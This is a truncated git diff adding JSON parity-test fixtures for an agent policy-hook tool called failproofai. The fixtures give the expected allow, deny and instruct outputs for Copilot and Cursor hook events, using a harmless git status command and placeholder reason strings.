00000000..26eddec2 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b8145658 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..0aa44ba4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8ab30f61 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..04f0d8f4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7d6fa38e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeRemove\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..895f0d59 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..fbb42d1e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..832b6c88 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..daca65a2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d8fef41b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f89f686a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ef3157ff --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..db56c391 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..922939fd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..22e4b011 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1dffedc5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a693bab9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6af75394 --- /dev/null +++ 